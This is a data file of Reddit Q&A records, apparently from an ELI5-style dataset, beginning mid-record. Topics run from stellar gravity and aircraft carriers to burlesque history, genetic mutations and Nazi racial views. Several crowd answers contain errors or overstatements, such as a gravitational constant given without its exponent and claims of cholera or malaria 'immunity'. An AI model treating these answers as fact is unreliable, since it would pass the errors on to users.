sun is ridiculously important.", "These equations have even more potential for a romantic line:\n\nWe have your mass (77 kg), the mass of the stars of the Milky Way closer to the galactic core than the Sun (very roughly 75% of the [Milky Way's Mass in the form of stars](_URL_0_), or about 0.75 * 9 * 10^10 solar masses. We only consider the stars closer to the center than us because [the stars outside of it have little net gravitational effect](_URL_3_)), and the [distance from our Sun to the Milky Way's center of gravity](_URL_2_) (about 27200 ly). We also have G ~6.67 N*m^2 /kg^2 .\n\nThe net force exerted by all the stars in the Milky Way (except the Sun) on you is \n\nG * 77 kg * 0.75 * 9 * 10^10 solar masses/(27200 ly)^2 ~[10.42 nN](_URL_1_). This is smaller than the figure with the girl (0.000000064 N=64 nN), and remains smaller even if the girl moves as far away as nearly 5m.\n\nSo a line like \"You're more attractive than all the stars in the night sky\" is scientifically accurate if the girl is standing fairly close.", "Using Proxima Centauri, a red dwarf, is like racing a smart car against a Bugatti, you won't get useful results.\n\nIf you use the mass of the nearest star system then you end up with a force of [11.62 pN](_URL_0_) so while her force of 64 nN is still greater, its closer.\n\nNow if you were to compare against Jupiter, which is reasonably massive, but much much closer, you find that it has a force of [11.3 micro Newtons](_URL_1_) so you are about 175x more attracted to Jupiter than you are to any girl on Earth."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.chacha.com/question/what-is-the-average-length-of-a-banana"], ["http://www.reddit.com/r/science/comments/kwyz5/the_moons_shadow_generates_a_wake_in_the/c2o7ain"], ["http://en.wikipedia.org/wiki/Dark_matter_halo#Milky_Way_dark_matter_halo", "http://www.wolframalpha.com/input/?i=gravitational+constant*77kg*0.75*9*10%5E10+solar+masses%2F%2827200+ly%29%5E2", "http://en.wikipedia.org/wiki/Milky_way", "http://en.wikipedia.org/wiki/Shell_theorem"], ["http://www.wolframalpha.com/input/?i=gravitational+constant+*+77kg+*+%28mass+of+alpha+centauri+A+%2B+mass+of+alpha+centauri+B+%2B+mass+of+proxima+centauri%29%2F%28distance+to+alpha+centauri%29%5E2", "http://www.wolframalpha.com/input/?i=gravitational+constant+*+77kg+*+%28mass+of+jupiter%29%2F%28distance+to+jupiter%29%5E2"]]}
{"q_id": "2gbe0e", "title": "When did strip clubs first arise in the USA?", "selftext": "I was watching a Vice documentary on Atlanta and its' top level strip club scene a while back, and I was wondering when this stuff first arose and caught fire in America. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2gbe0e/when_did_strip_clubs_first_arise_in_the_usa/", "answers": {"a_id": ["ckhw5z2"], "score": [43], "text": ["I'm piecing this together from a bunch of different stuff I've read and listened to, but I'd say the top contender is probably [Minsky's at the Winter Palace](_URL_0_), which started in NYC in the 1910s and 20s. Dedicated strip clubs basically evolved from burlesque.\n\n Burlesque itself started off meaning a play or poem in which grand, epic style was applied to trivial, silly subjects --- chorus girls declaiming mock-Shakespeare or comedians dressed up like Roman Senators and making cracks about contemporary politicians. Kind of the same function an SNL skit serves today. Burlesques started out as a quick break in the intermission between acts in a serious play or variety act, but then this one London promoter got the idea of starting a burlesque troupe composed entirely of hot chicks and the thing [took off like a rocket](_URL_1_) ---toured the US, the works. That started off burlesques being popular in their own right, and by the late 19th century you could see a whole show that was centered around burlesques, with maybe some comedians for a warm up act and some dancers as well. By the 1890s-early 20th century there was a fashion for \"exotic dancers\" --- by which was meant woman doing dances from the \"exotic east\" in \"native costumes\" --- belly dancing, fan dancing, Bollywood type stuff. (Or at least dances people in Western Europe thought seemed exotic looking.) In a time when typical women's clothing hid everything from the ankle to the neck, a belly dancing outfit was pretty scandalous, and the dancers started pushing the envelope pretty early. In Paris, you had people like [Mata Hari](_URL_2_) and caberet places like the Moulin Rouge and the Follies Bergere where the shows could get pretty risqu\u00e9 --- topless girls in tutus, etc. In the states the burlesque shows --- which were already basically hot girls+skimpy clothes+dirty jokes, for an audience of drunk dudes---started to add in the exotic dancing, and pretty soon full on stripping was part of the show. Minsky's in NYC started out as a burlesque house --- their original theater was kind of a shit hole, so they were willing to put on more risqu\u00e9 acts to attract an audience. They were the first in the US to incorporate a long platform jutting out into the audience as part of the show, the same kind the Follies used in Paris. In the 1920s when prohibition hit Minsky's became a lot more popular --- they got raided so much by the cops for violating obscenity laws it was a kind of standing joke. (And the title of a movie --- [The Night They Raided Minsky's](_URL_3_).)They got shut down for good in the 30s but by then the innovations and envelope pushing they'd done were pretty standard for burlesque theatres, and you can still see the echoes in strip clubs today --- long strip of platform that the girls perform on with seats around it, sleazy MC/comedian (today, a DJ) to warm up the crowd between acts. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.m.wikipedia.org/wiki/Minsky's_Burlesque", "http://library.osu.edu/projects/women-in-tights/beginnings.html", "http://upload.wikimedia.org/wikipedia/commons/7/76/Mata_Hari_15.jpg", "http://m.imdb.com/title/tt0063348/"]]}
{"q_id": "2qpadv", "title": "what would happen if an aircraft carrier like the nimitz encountered huge waves (link inside), it certainly does not look that stable.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2qpadv/eli5_what_would_happen_if_an_aircraft_carrier/", "answers": {"a_id": ["cn87ujy", "cn89fsi"], "score": [6, 5], "text": ["The same reason you can push over an anorexic teen easily, but would have trouble with a wwe wrestler. Because they are gigantic. The USS Ronald Reagan, a Nimitz class Aircraft Carrier, may look unstable, but remember that it is displacing 100'000 tons of water. ", "As someone that was stationed on a carrier, waves like that are the only time you will really feel the carrier move about.  There is a lot of counterweight in the center and bottom.  The upper and outer parts, usually don't have a lot of heavy equipment in them, that is kept center and down.  \n\nWhat realistically happens, is the wave will come over the top of the flight deck.  The ship will pitch up and down and roll a bit back and forth.  It is said that a carrier could take a wave head on as high as the ship is long (over 1000ft).  I am not sure how it would be from the side, but you would normally be going into the waves anyways.  [This](_URL_0_) is representative of what I have witnessed first hand in a hurricane.  You things move around a bit, but not nearly as much as a smaller ship in calmer waters would.\n\nThe video is of a older, smaller carrier (CV-63 Kitty Hawk) and in close to the same sized waves as in your video.  The flight deck is about 90ft off the water in calm seas.  Hope this helps."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.youtube.com/watch?v=k1graEzmeRU"]]}
{"q_id": "ad7401", "title": "(almost) all diseases downgrade your daily life. are there any diseases/genetic advantages which can boost your daily life without artifical help from outside the body (medicines etc.)?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ad7401/eli5_almost_all_diseases_downgrade_your_daily/", "answers": {"a_id": ["ede6lgm", "ede78mz", "ede871u", "ede9b8d", "edea6at", "edeadeb", "edeagde", "edec5kl"], "score": [34, 16, 5, 10, 7, 2, 21, 2], "text": ["Some types of autism and mental illnesses can make you more likely to absorb information faster, helping you to become a musical or academic savant.\n\nPTSD can occasionally make you hypervigilant about your surroundings, boosting your hearing and eyesight in the short-term.\n", "They, by definition, wouldn't be diseases as having a bad effect on you is what makes a disease a disease.\n\nThat said, there are tons of genetic abberations and bacteria that can boost someone's abilities. Just look at your gut. If it wasn't for the millions of different bacteria in it, you wouldn't be able to digest anything. Similarly, if you want small genetic mutations that boost a person's ability, you can look at top athletes or people who hold records for something. Some of those have advantages that help them perform as they do. \n\nLook at Michael Phelps for example. There are several things about is physique that make him more adept at swimming at high speed. He has a giant, disproportionate arm span compared to the length of his legs which helps propel him through the water. His ankles are hypermobile, which means he can extend them far further than the average person and produce more thrust when kicking.", "There's a rare genetic mutation that makes people need significantly less sleep. Not a disease, that'd be dope tho ", "There is a new mutation that has arisen recently that gives more than just cones and rods in the eye and allows for the bearer to see more variations in color and a slightly broader range of wavelengths (super chromatism)", "There is actually a current theory that most/all genetic disease that are common in populations give some advantages or did at one point. One example is cystic fibrosis, while in modern times it is a very difficult disease, it makes the person immune to cholera. Cholera killed (and still kills) a lot of people and that\u2019s why cystic fibrosis is still in the population! ", "[Lactase persistence] (_URL_1_) is technically an advantageous mutation since most mammals stop producing it after weaning. There's also [myostatin-related muscle hypertrophy] (_URL_0_) which increases the amount of muscle that can be built (due the inhibitors becoming less effective) without any known issue, although it may not have been selected for in the past due to increased energy demand or other factors.", "Sickle cell anemia gives you an immunity to malaria, which is why a large proportion of African people have it.  I think that could arguably count, given that the disease grants you the ability to rest a little bit easier around mosquitos.", "HLA-B27 is an allele that is strongly associated with a type of early arthritis (ankylosing spondylitis), but is also associated with resistance to the flu, herpes, mono, and HIV (_URL_0_)\n\nSo both a downgrade and an upgrade? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://ghr.nlm.nih.gov/condition/myostatin-related-muscle-hypertrophy#", "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3048992/"], [], ["https://www.ncbi.nlm.nih.gov/m/pubmed/15332431/"]]}
{"q_id": "5zhufu", "title": "Was the Velociraptor species as intelligent and clever as the Jurassic Films portrayed them to be?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5zhufu/was_the_velociraptor_species_as_intelligent_and/", "answers": {"a_id": ["deye7o4", "deyebcs", "deyqdas"], "score": [54, 7, 5], "text": ["We don't know - behavior does not usually fossilize well, but we have concrete reasons to believe they were quite capable.\n\nWhat we have is inference based on fossils. This does not leave us completely in the dark, but is short on specifics. For instance, we can apply on fossils a measurement we use on extant vertebrates called the [\"encephalization quotient\"](_URL_1_) ... essentially a measure of the brain to body weight/size ratio. Normally, a group of vertebrates (say all mammals) will plot along a line of a given slope. But some critters plot above that line, and others below. The higher above this line, the larger the brain in relation to the *expected* brain size for a critter of that size.\n\nHumans have an EQ of about 7.5. Dolphins have an EQ of 4. From what we can tell from the fossils, [the group of species to which *Velociraptor* belonged, the *Maniraptoriformes*, had a quite high EQ in the order of 7 to 8](_URL_2_). This tells us they were probably quite smart, but it says nothing about specific behavior. Did they organize socially or have complex courtship rituals? Did they hunt in packs and coordinate a common strategy? We don't know, but there is certainly reason to believe they were capable of quite \"smart\" and complex adaptive behavior in the pursuit of their lives, without saying specifically what those behaviors may have been. In that spirit, Michael Crichton just ran with it and inferred possible behaviors from predators with known complex behaviors (most group predators have high EQs), such as wolves, orca and dolphins. Things such as learning through trial and error, inference of cause and effect, coordinated attack strategies, dynamic social organization, and like that.\n\nThat being said, there has been some effort put into reconstituting such behavior (see for instance: [Bakker, R. T.,  &  Bir, G. (2004). 14. Dinosaur crime scene investigations: theropod behavior at Como Bluff, Wyoming, and the evolution of birdness. Feathered dragons: studies on the transition from dinosaurs to birds (eds Currie P. et al.), 301-342.](_URL_0_)), but this approach can only go so far...", "Also, the velociraptors portrayed in the Jurassic park/World films are not based on real velociraptors, they are based on Deinonychus (a type of raptor, but not a velociraptor).\n", "As an additional point, in the films, the intelligent *Velociraptor* strategically hunt in packs. In real life, this was almost certainly not the case. Fossil assemblages of [*Deinonychus*](_URL_0_) demonstrate that they flocked in an unorganized manner around kills, and they were so aggressive towards each other that cannibalism took place."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://books.google.fr/books?hl=fr&amp;lr=&amp;id=L-ZFPTKroVoC&amp;oi=fnd&amp;pg=PA301&amp;dq=velociraptor+encephalization+quotient&amp;ots=mqunIkE1py&amp;sig=eQGqntxdK_4uWJInWXoLc7ScKs4#v=onepage&amp;q=velociraptor%20encephalization%20quotient&amp;f=false", "https://en.wikipedia.org/wiki/Encephalization_quotient", "http://yadda.icm.edu.pl/yadda/element/bwmeta1.element.agro-article-54cc1c74-6c9d-4822-96fc-cd082f66997a/c/app50-617.pdf"], [], ["https://www.researchgate.net/publication/232688206_A_Reevaluation_of_Cooperative_Pack_Hunting_and_Gregariousness_in_Deinonychus_antirrhopus_and_Other_Nonavian_Theropod_Dinosaurs"]]}
{"q_id": "16al1x", "title": "If two people take a flight to two different points, both of equal latitude, and both of an equal distance away, and assuming that there is no air pressure or wind factors, will they arrive at the same time? Or would the Earth's rotation effect their arrivals?", "selftext": "I understand that the speed in which the Earth travels varies according to your latitude, and I know that air currents are often influenced by the Earth's rotation. So when you fly in an airplane, how does the Earth's movement effect the flight time? \nWhile flying in an airplane, does the Earth below move independently of the aircraft? How does the Earth's Rotation effect flight?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/16al1x/if_two_people_take_a_flight_to_two_different/", "answers": {"a_id": ["c7uawbh", "c7ucua2", "c7ud4k6"], "score": [8, 4, 2], "text": ["In a perfect world they arive at the same time. This involves the same principles as the question of a helicopter hovering over the equator for 24 hrs. The atmosphere turns on the Earths axis (although it is not entirely unaffected by the rotation*) at roughly the same rate the Earth does. Get on a bus going down the freeway and throw a ball in the air. It will not fly towards the back of the bus at all, let alone at the same speed you are traveling forward. This turns out to be due to the ball's inertia, but it is a nice illustration. In both cases (plane and heli) the air is moving with the object to negate any effects of the forward motion.\n\nHere is a mathematcal reason: If the helicopter hovering above the equator for 24 hours was independent of the Earth's spin, it would make a trip around the world in that 24 hrs. If that was the case the helicopter would move (in relation to the Earth's surface) at a speed of 1038 mph** (1670 kph). This would definitely be a noticable speed to anyone watching.\n\n*The spin of the Earth causes major air bodies to move in a east- west direction as well as towards the equator. This influences large air systems, and the effect on the plane would not really be aplicable, since we are disregarding factors like wind/rain.\n\n**Given that the Earth's circumference is 24901 miles and the helicopter is anywhere near sea level\n\nHOWEVER- If you meant litterally zero air pressure, that would mean no air in which case yes their arrival times would be different (no, airplanes cannot fly in a vacuum for lack of lift)", "It depends on how you measure their speed. Motion is relative, so if you assume the airplanes have the same speed, as measured in comparison to the ground, then they will arrive at the same time. The earth's motion doesn't matter because you already took that into consideration when you measured the airplane speed as compared to the ground. \n\nNow if instead you sat at the moon, and observed two airplanes moving at the same speed **as compared to you**, then they would not move at the same speed **as compared to the earth**. You would see how the cities of the earth moved , as compared to you, and thus the airplanes would not arrive at the same time. \n\nIf this seem confusing, consider for a moment what it means to be stationary. When reading this you probably don't move much in comparison to the earth, but both you and the earth move as compared to the sun. This is one of the most important principles of modern physics. Motion, all motion, can only be meaningfully discussed as being relative to something else. \n\nThe only exception is things moving at the speed of light, which move at the same speed egardless of who observe them. This is possible because the passage of time proceeds at slower rates for fast moving objects. This last realization is incredibly counterintuiative and surprising, becqause we almost never encounter in in day to day life. Nevertheless, the fact that time itself is relative to your point of view ( or frame of reference to be precise ) forms the basis of Einstein's theory of relativity as well as modern physics", "There would be at least one difference caused by rotation of Earth still present, the Coriolis effect. When flying west it causes a small downward force on the airplane and when flying east upwards. And depending on the latitude some sideways force too. The up or downwards force at least would then have an effect on how much lift the wings need to generate which would then affect speed. The effect is very small though, if flying at the equator, the difference in needed lift is only about 0.7%\n\nI'm no aeronautical engineer so I could be wrong on this but I think that flying east, with upwards Coriolis force and thus less lift required, you'd be able to fly a little bit faster. The effect would almost certainly be too small to have a real effect in ordinary situations. But depending on how accurate you want to be with your thought experiment I suppose you would get a small difference from that."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2pwbcl", "title": "How well documented are Guru Nanak's travels (Udasis)? Specifically, his travels in Europe.", "selftext": "Hi guys, I was having a discussion with my Sikh parents and they were talking about \"new evidence\" of Nanak's Udasis. This is the evidence they were talking about: _URL_0_\n\nMy historical background is Central Asian in focus, so I can't really say anything to them other than \"do you have better proof?\" and smile/nod. I was hoping to come to a non-biased historical source (/r/AskHistorians) and get a historical, rather than mystical, retelling.\n\nThanks!\n\n.\n\n.\n\n.\n\nFor those just jumping in to read and not comment, the Udasis are stories of the travels of Guru Nanak, the first Guru of the Sikh faith, from his birthplace in modern-day Pakistan. I think five are considered \"official canon\". In those 5 he traveled all throughout Central Asia, South Asia, and the Middle East (including Mecca and Medina). These occurred ~1499-1524\n\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2pwbcl/how_well_documented_are_guru_nanaks_travels/", "answers": {"a_id": ["cn0paye"], "score": [2], "text": ["For travels in europe I dont really know of much beyond the recent vatican releases. In terms of travels to the middle east we have the janamsakhis and a few stone tablets found in Afghanistan which help pinpoint the years fairly accurately( \"In memory of the Guru, the holy Baba Nanak, King of holy men, this monument has been rebuilt with the help of seven saints\" Dated 927 Hijri). Bhai bala also wrote down an account of Guru nanaks travels within india although the exact document I cant quite remember. There have been articles published about relics commemorating Guru Nanaks visits to bengal bihar and assam and most of the janamsakhis generally agree with each other about Guru Nanks travels in terms of whete he was going\n\nThat's all I can tell you at the moment. Its not much and I've only recently begin trying to delve a bit more into the academic side of Sikh history but there are plenty of books and primary sources out there."]}, "title_urls": [], "selftext_urls": ["http://www.sikhnet.com/news/more-evidence-guru-nanak-visited-europe"], "answers_urls": [[]]}
{"q_id": "2tqfzc", "title": "Do big cats (tigers, lions, etc.) have the same self righting reflex as domestic cats? If not... when did the self righting reflex first emerge?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2tqfzc/do_big_cats_tigers_lions_etc_have_the_same_self/", "answers": {"a_id": ["co1gprq"], "score": [94], "text": ["Not all cats, even the domesticated ones, land on their feet all the time, sometimes they get it wrong and land wrong. \n\nWhen they do land on their feet, it is because of the vestibular apparatus (a fluid filled organ in the ear) and the flexibility of their spine. \n\nAll cats have the vestibular apparatus, and have a flexible spine compared to other animals. So, in general, a big cat could/would probably land on its feet. \n\nSize must be taken into account also, however. Since house cats are small, they are able to right themselves quicker during a short fall then a larger animal. \n\nLarger cats require more time to twist their body into the proper form, and so if a big cat fell from a low height, it would probably not land on its feet. Again, this depends on the orientation of the cat when it started falling. \n\nAlso, the larger big cats get, the less flexible. \n\nMore agile cats like leopards, cougars, and jaguars are very flexible and much lighter than tigers and lions, so they would be more likely to land on their feet. \n\nLions and tigers, which can weigh 700 lbs, would have a harder time correcting their balance in midair. Lions are especially notorious for their lack of grace when climbing, and subsequently their lack of grace when falling. \n\nThere are documentaries where a lioness tried to climb a tree, slipped, and fell to her death. So basically, whether or not a big cat lands on its feet depends on the cat's size and height of the fall.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1i7elx", "title": "why does fast food iced tea seem to spoil before home brewed iced tea?", "selftext": "I always see the stickers on the brewers at places like McDonalds and Wendys on when to switch out the tea for a fresh batch, it is generally every few hours. Why is it when I brew my own iced tea at home, it stays good in the fridge for a few days, but fast food tea gets really nasty in just a few hours?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1i7elx/eli5_why_does_fast_food_iced_tea_seem_to_spoil/", "answers": {"a_id": ["cb1ppgv", "cb1qqp5", "cb1rt5d", "cb1su3e"], "score": [16, 2, 7, 2], "text": ["I used to work at coffee shops and some fast food places with these big tea urns.  They were metal containers that stood very tall with little taps around the lower middle or bottom.  I imagine the one's at the places you're talking about are likely similar.  \n\nYou boil the tea up, add sugar if you're in the south, and dump it into the bottom of the urn.  Then you add water from a tap.  Maybe they're the type to strive for excellence and they toss a few scoops from the ice machine in and account for the fact it will melt in minutes.  Probably not, though.  Then it's out to the counter, if they didn't just pour it all in right there by the soda machines.  \n\nYou probably keep your iced tea in a refrigerator.  The tea in those urns just gradually goes from boiling to tepid and stays there.  \n\nThey're supposed to thoroughly clean the urns every time they add a new batch of tea.  If they do this but half-ass it, they might not clean all of the soap out of the tap, leaving a sudsy, grimy aftertaste.  If they don't, you're probably tasting every batch of tea that's been through that thing since they opened.  The film that stays on your tea pitcher if it's plastic and you fail to scrub - that's just in the urn all the time.  But that's if they don't clean it, which I'm sure they do... sure.\n\nOn top of all of this, it's probably just cheap tea.  It doesn't necessarily affect how long it keeps, but the flavor won't be strong enough to mask other defects.\n\nThat's just my speculation based on my own experiences, though, so I don't know if it's the answer you're looking for.  I can say that when I did that kind of work, I took it seriously, and so did many of my co-workers.  My best experiences were at stores that kept timers on everything and consistently logged when one of us made new batches of anything.  We calibrated the espresso machines every four hours. Our tea was delicious, not that I'm bragging.", "I think between cleaning the containers and mixing batches seem to be recipe for spoiled tea, where at home i wash the container almost every time and drink it all before starting a new batch", "Brewed tea has a 4 hour hold time - meaning health code states it can be unrefrigerated for up to 4 hours. After that point it needs to be discarded. Some places are stricter than others.  If you see new-looking stickers, that's generally a good sign.  ", "They use gobs and gobs of sugar"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "a0hh6s", "title": "do animals that live in herds have a \"leader\"?", "selftext": "Do animals such as buffalo, wildebeest, zebra, etc. follow one specific animal in the herd? Such as when they are migrating or just moving around in general? Do they mock one or a few specific animal in the herd that is considered the \"leader\"? Im guessing that an older, but wise individual would be the one guiding the herd to water holes and feeding grounds.  \n\n\nThanks!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a0hh6s/eli5_do_animals_that_live_in_herds_have_a_leader/", "answers": {"a_id": ["eahri60", "eahrk7i"], "score": [4, 2], "text": ["Depends on the animal my dude. Elephants are highly intelligent so they will have a social hierarchy with a matriarch leader. Zebra on the other hand just kind of follow each other around and stay with the herd for safety. ", "I might be wrong about this, but I believe that not all herd animals have a social structure.\n\nThis is apparently an important quality to have to be able to  domestic a species. Which is why we can't domestic Zebras even though they are so similar to horses."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "26dle5", "title": "Neuroscience: Does the distance between synapses (i.e. the size of the synaptic cleft) ever change with movement of the body?", "selftext": "4th year undergrad Neuroscience here. Just finishing up exams and this very fundamental question occurred to me. \n\nThroughout my education, I've been under the impression that despite anchoring by ligaments/muscles or suspension in fluid, our internal organs tend to move and shift to some degree during our daily movements. Admittedly these movements would be minimal, but my thoughts turned to the synaptic cleft: are synapses anchored as well? Or are they subjected to slight alterations of the synaptic cleft's size by jumping/running/etc? If so, would this affect signalling efficiency (as neurotransmitter release in chemical synapses is really just a probability system for signalling)?\n\nMy thinking is this: with only 20-30nm separating the pre- and post-synaptic sides of chemical synapses, surely even a small adjustment to the distance NTs have to travel would affect the number of molecules that successfully reach the post-synaptic receptors before being broken down/re-uptaken. A smaller cleft = \u2191post-synaptic signal amplitude; a larger cleft = \u2193post-synaptic signal amplitude.\n\nBack to revision, I guess.\n\nCheers everyone!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/26dle5/neuroscience_does_the_distance_between_synapses/", "answers": {"a_id": ["chq1e0z"], "score": [18], "text": ["I used to wonder the same thing. Mercifully, the answer is yes: Pre- and post-synaptic neurons are attached to each other, even though the membranes don't touch. The proteins involved in the attachment are called neurexin (presynaptic) and neuroligin (postsynaptic), and fall under the general class of cell adhesion molecules. Both are involved in synapse formation and specificity, and have even been implicated in certain disorders.\n\n_URL_1_\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Neurexin#Neurexin-neuroligin_binding", "http://www.ncbi.nlm.nih.gov/pubmed/17275284"]]}
{"q_id": "1yz9ay", "title": "I've heard that there is gold in our bodies. Is that true, and if so, how do we get it and why do we need it?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1yz9ay/ive_heard_that_there_is_gold_in_our_bodies_is/", "answers": {"a_id": ["cfp69es"], "score": [16], "text": [" Important \"trace\" or minor dietary elements, necessary for mammalian life, include iron, cobalt, copper, zinc, molybdenum, iodine, and selenium.\n\n_URL_2_\n\nThere are no known essential functions of gold in the human or other mammalian bodies as I am aware.\n\nThe microscopic traces of gold in our bodies are obtained from the environment.\n\nThe average content of gold in soil is about 5 ppb.  We ingest minute quantities of gold from plant and vegetable matter in our diet.  And also from touching golden jewelry and other objects (minute quantities of gold dust then stay on our skin and are inadvertently ingested).\n\nAccording to wikipedia gold account for about 140 ppb (140e-9 fraction) of human mass.\n\n_URL_1_\n_URL_0_\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.minelinks.com/alluvial/goldDeposits.html", "http://en.wikipedia.org/wiki/Composition_of_the_human_body", "http://en.wikipedia.org/wiki/Dietary_element"]]}
{"q_id": "3ppg66", "title": "why does the us congress get involved with things like nfl concussions and mlb steroid use?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3ppg66/eli5_why_does_the_us_congress_get_involved_with/", "answers": {"a_id": ["cw8a52c", "cw8c875", "cw8d2pf"], "score": [6, 2, 38], "text": ["Those companies are exempt from lots of legal stuff, such as interstate commerce, tax brakes, local taxes etc.\n\nSo the gov. gets involved 'cuz Gov. wants to know if they should remove alot of the breaks they get.", "With regards to contract disputes they have to go through our legal system. The judges are ruling on the contracts according to our contract law system in place.", "Sports leagues typically enjoy de facto exemptions from antitrust laws, becasue their product *is* competition, and they have an interest in keeping things somewhat balanced, requiring collusion that otherwise would be illegal.\n\nWhen it appears teams are abusing that privilege to violate labor laws and worker safety, congress gets involved.\n\nAlso, congressmen like to be on TV."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "12iyb9", "title": "How much data does a vinyl LP hold?", "selftext": "Same question for any other analog data storage device.\n\nThis line of thinking was inspired by audiophiles.\n\nGiven unlimited storage and processing power, at what point would there truly be zero difference between analog and digitally stored music?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/12iyb9/how_much_data_does_a_vinyl_lp_hold/", "answers": {"a_id": ["c6vitym"], "score": [7], "text": ["Assuming a normal LP at 18kHz frequency response, stereo, and 60dB S/N ratio, you get (10 bits/sample)(36000 samples/sec)(2 channels)(2500 sec), or 1800 Mbit on each side of the LP -- equivalent to 225 MB.  \n\nIn practice, you won't get that, of course - but it's a good ballpark."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8261mr", "title": "why are bi-racial people in america identified like this?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8261mr/eli5_why_are_biracial_people_in_america/", "answers": {"a_id": ["dv7mpps", "dv7msis", "dv7n1st", "dv7nw13"], "score": [8, 7, 14, 5], "text": ["Its actually more insidious, and comes from leftover ideas about the \"one drop rule\". Yes, all of those celebrities (though you forgot Mariah Carey) are black. Some are considered \"white passing\", but they are black and are treated as such. ", " > The whole thing seems so bizarre to an outsider, as do pretty much all issues of race in America, so I\u2019m simultaneously fascinated and baffled by it all.\n\nIt's bizarre to us, too. Some of it is how the person self-identifies. But most of it is due to how we still (consciously or unconsciously) think of white as the default and need to differentiate people who aren't placed in that grouping.", "The concept of race in modern America is typically based on what you look like, not percentage of blood.  \n\nBarack Obama and Rashida Jones are both half-white and half-black, but Barack Obama \"looks black\" and Rashida Jones is considered to \"look white,\" and the reaction of society to them is different as a result.\n\nBut the choice of people in that position to identify themselves as one thing or another (or both, or to ignore labels altogether) is respected, at least rhetorically.\n\n", "The issue boils down to [passing](_URL_0_): that is, how easy is it for you to convince people you belong to a certain racial group. (Also orientation, gender, religious belief, whatever; passing is a big deal in minority culture.) Historically, America doesn't have the greatest track record of not discriminating against people from the colour of their skin; there were anti-miscegnation laws in place within living memory, and I don't think that many people would have thought to draw a distinction between 'black but raised by a white parent' and 'black and raised by a black parent'. When someone's hurling invectives at you across the street or restricting your rights based on the colour of your skin, it's understandable to want to form a solidarity with other people who are going through the same -- or similar, if not idential -- experiences. 'African-American' is a shorthand for that. Even if you 'pass', your family and friends may not, and that solidarity is important.\n\nThere's also a sense that America is a melting-pot culture -- a nation of immigrants. You're American first, but there's a strong tribalism in terms of your links to 'the motherland': terms like Irish-American, Italian-American, Polish-American and the like are use a lot more regularly in the States than the are in the UK and the rest of Europe. (That's not to say it doesn't happen here, but there's been a lot more mixing of European groups; you're a lot more likely to describe yourself as 'British Indian' than you are to call yourself 'British Italian'.) There's a sense of tribalism, in the sense that there's often an expectation that people from the same ethnic group as you will 'look after their own'.\n\nAs for this:\n\n > Is it just another example of people being classified by exactly how dark or light their skin tone is\n\nWell, yeah -- but that's all race is, 90% of the time: tribalism built on external traits."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/Passing_(racial_identity\\)"]]}
{"q_id": "2buf2m", "title": "I've observed many Arab and SE Asian people on internet praise Hitler and use Nazi symbology during discussions on Palestinian-Israel conflict. What was the Nazi opinion of Arabs and South East Asians? Can anybody provide any quotes or links?", "selftext": "While searching i keep seeing a reference to Mein Kampf's racial hierarchy doctrine, but i cannot find any direct quote   \nAre there any other official Nazi statements on the issue?   ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2buf2m/ive_observed_many_arab_and_se_asian_people_on/", "answers": {"a_id": ["cj978lq", "cj9ch9h"], "score": [18, 6], "text": ["Because I've removed a few substandard answers, a friendly reminder of [our rules](_URL_0_) is in order.  Please refrain from posting one-sentence answers from your personal experience, or simply linking things found on google.  Thanks!", "Haj Amin al-Husayni, served as Mufti of Jerusalem and was a prominent Palestinian Nationalist, worked with Germany during the war in a variety of ways including recruiting Muslim divisions for the SS.  There was common ground to be had in the discriminate and damning cleansing of Jews.  Tensions had already boiled over in Mandate Palestine with a failed Palestinian revolution that left Palestine's Jews stronger and the Arabs significantly weaker.  Ironically enough, Germany facilitated Jewish immigration to Palestine and even cooperated with Zionist groups at times.  As for British and French colonialism in the Middle East, enacted with the dissolution of the Ottoman Empire, Germany and anti-imperialists and Arab nationalists were also able to find common ground. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_answers"], []]}
